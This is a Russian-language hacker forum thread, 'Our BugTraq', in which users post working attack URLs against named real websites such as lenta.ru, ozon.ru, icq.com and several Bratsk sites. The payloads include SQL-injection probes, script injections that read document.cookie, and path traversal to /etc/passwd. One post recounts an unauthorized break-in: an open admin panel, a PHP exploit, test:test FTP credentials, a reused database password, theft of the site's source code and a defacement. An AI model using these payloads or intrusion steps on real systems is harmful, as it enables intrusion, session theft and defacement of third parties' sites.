НашЪ BugTraq

[nons]

Уязвимость, очень похожая на SQL-injection, нашел сегодня на сайте www.nix.ru (оф. партнер одной кампутерной правобережной фирмы)

http://nix.ru/news/news_viewer.html?id=1%27

или например так

http://nix.ru/news/news_viewer.html?id=1+1

[nons]

Уязвимость, очень похожая на SQL-injection, нашел сегодня на сайте www.nix.ru (оф. партнер одной кампутерной правобережной фирмы)

http://nix.ru/news/news_viewer.html?id=1%27

или например так

http://nix.ru/news/news_viewer.html?id=1+1

и еще только что нашел XSS багу

в общем виде:

http://nix.ru/support/request/check.php?serial_number=***91;XSS***93;

например

http://nix.ru/support/request/check.php?serial_number=%3Cscript%3Ealert(%27special%20for%20IST%20by%20***91;n0ns3ns3***93;%27)%3C/script%3E

;)

[nons]

сайт ТрансТелеКом-Байкал www.bttc.ru

http://www.bttc.ru/asp/news.asp?noparma=ziwk&mode=show&gid=191.%272

= SQL-inj

by nonS

[nons]

сайт телекомпании БСТ www.bst.bratsk.ru

http://bst.bratsk.ru/search/?string=%22%3E%3Cscript%3Ealert("hi all from nonS")%3C/script%3E

=XSS


сайт allbratsk.ru www.allbratsk.ru

http://allbratsk.ru/photo.php?gal=%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E

=XSS

by nonS

[nons]

дело было вечером, делать было нечего

сайт lenta.ru www.lenta.ru

http://lenta.ru/Search?Search=%22%3E%3CSCRIPT%3Ealert(%27hi%20all%20from%20nonS%20%)%27)%3C/SCRIPT%3E

=XSS
мелочь, а приятно

by nonS

[Vanda]

Ozon.ru туда же

http://www.ozon.ru/?context=all_search_list&searchstring=%22%3E%3Cscript%3ealert(%22by%20Vanda%22);%3C/script%3E

=XSS

[nons]

/me пора лечицца :(

сайт телекомпании БСТ www.bst.bratsk.ru

http://bst.bratsk.ru/news/archive/?id=1908%22%3E%3Cscript%3Ealert(%22hi%20from%20nonS%22)%3C/script%3E

=XSS + SQL-inj

[Ыгзук]

/me пора лечицца :(

сайт телекомпании БСТ www.bst.bratsk.ru

http://bst.bratsk.ru/news/archive/?id=1908%22%3E%3Cscript%3Ealert(%22hi%20from%20nonS%22)%3C/script%3E

=XSS + SQL-inj

Оффтопик

Тока сеня про него думала - мол, когда Антоха до него доберется?...

[sektor]

Вот решил молодость вспомнить
Захотелось проверить так же Гугль функционален (в плане запросов), и вот результаты найденны за 20 минут:

http://www.pioneerlocal.com/cgi-bin/ppo-movierev?moviewhat=/../../../../../../../../../etc/passwd

http://www.perlhelp.com/cgi-bin/perl-html.cgi?out=../../../../../../etc/passwd

http://tinman.snell.clarkson.edu/~horn/bin2/showscripts2.cgi?showscripts2.cgi

-------------------------------------------------------------------

http://money.dp.ua/test.php

http://www.ourdocuments.gov/content.php?page=../

- это так для разведки сойдет

Будет время еще че-нить накопаю

[s4SSn]

уууу... аська тоже в xss...

http://www.icq.com/boards/search_results.php?uSearchString=%3Cscript%3Ealert %28%27123%27%29%3B%3C%2Fscript%3E

[s4SSn]

ыыыы... рамблер...
==
http://www.rambler.ru/doc/feedback.shtml - вводим везде <script>alert('test')</script> и удивляемся как нынче не внимательны кодеры к xss

[nons]

сайт вроде как Братской студии web дезигна www.stilia.ru
и нашел я там множественные XSS

пример:
http://www.stilia.ru/index.php?option=com_search&Itemid=5&searchword="> <script>alert(document.cookie)</script>
или
http://www.stilia.ru/index.php?option=com_glossary&Itemid=75"><script>a lert(document.cookie)</script>
общий вид:
http://www.stilia.ru/index.php?option=com_glossary&Itemid=ID">[XSS]
ID - любое ID раздела сайта

на сайте есть форум, так что сами думайте к чему это может привести

[s4SSn]

вчера была найдена xss на чате дикий остров...
после связи с администрацией чата (читай с данивчиком) ошибка была устранена

[nons]

опять мне не спицца
банально, но XSS на сайте ЛДПР
http://www.ldpr.ru/search/?action=index&text=%27%3E%3Cscript%3Ealert(documen t.cookie);%3C/script%3E

[nons]

всеми известный holm.ru

http://www.holm.ru/cgi-bin/hselect.cgi?user=%22%3E%3Cscript%3Ealert(%27hi%20from%20nons%27)%3C/script%3E

[nons]

уф, на каждом втором сайте xss есть
вот нашел даже на www.cnews.ru -

http://www.cnews.ru/search.shtml?query=text&cat=&d1=01%22%3E%3Cscript%3Ealert(%27XSS%20founded%20by%20nons%27)%3C/script%3E&m1=01&y1=1998&d2=09&m2=04&y2=2006

и на www.ren-tv.com -

http://www.ren-tv.com/search/index.php?terms=%22%3E%3Cscript%3Ealert(%22LOL%20=)%22)%3C/script%3E

[nons]

по сути фигня, но XSS на офф. сайте города (%

http://www.bratsk-city.ru/index.php?newsid=%22%3E%3Cscript%3Ealert(%27by%20nons%27)%3C/script%3E

[e.s.t]

/me пора лечицца :(

сайт телекомпании БСТ www.bst.bratsk.ru

http://bst.bratsk.ru/news/archive/?id=1908%22%3E%3Cscript%3Ealert(%22hi%20from%20nonS%22)%3C/script%3E

=XSS + SQL-inj

может кому-нибудь будет интересно.
админы этого ресурса вообще сплоховали.
во-первых какое то время админка этого сайта была просто открыта и не запаролена. php был в safe-mode, с админки под видом анонса заливался скрипт использующий багу в пхп, который позволил побродить по файловой системе, и обнаружить ляп №2. а именно диру пользователя test в /home. после чего под логином test:test можно было законнектиться на фтп и использовать ляп №3, пользователь небыл в chroot'e (в отличии от юзера webmaster). с правами nobody слились исходники сайта, откуда был взят пассворд от мускуля, который как ни странно подошёл к пользователю webmaster (ляп №4) . после чего была оставлена записка админу с его ошибкой, и сделан небольшой дефейс.
в /etc/passwd фигурировали админы довольно опытные, странно что они допустили ряд таких элементарных ошибок.

ps: сорри за оффтоп.

[nons]

может кому-нибудь будет интересно.
админы этого ресурса вообще сплоховали.
во-первых какое то время админка этого сайта была просто открыта и не запаролена. php был в safe-mode, с админки под видом анонса заливался скрипт использующий багу в пхп, который позволил побродить по файловой системе, и обнаружить ляп №2. а именно диру пользователя test в /home. после чего под логином test:test можно было законнектиться на фтп и использовать ляп №3, пользователь небыл в chroot'e (в отличии от юзера webmaster). с правами nobody слились исходники сайта, откуда был взят пассворд от мускуля, который как ни странно подошёл к пользователю webmaster (ляп №4) . после чего была оставлена записка админу с его ошибкой, и сделан небольшой дефейс.
в /etc/passwd фигурировали админы довольно опытные, странно что они допустили ряд таких элементарных ошибок.

ps: сорри за оффтоп.

многие достаточно опытные как правило на мелочах и прокалываются (%

ЗЫ зачотно, пиши еще (;

[qwas]

многие достаточно опытные как правило на мелочах и прокалываются (%

ЗЫ зачотно, пиши еще (;

нихрена сибе мелоч. Админка милости просим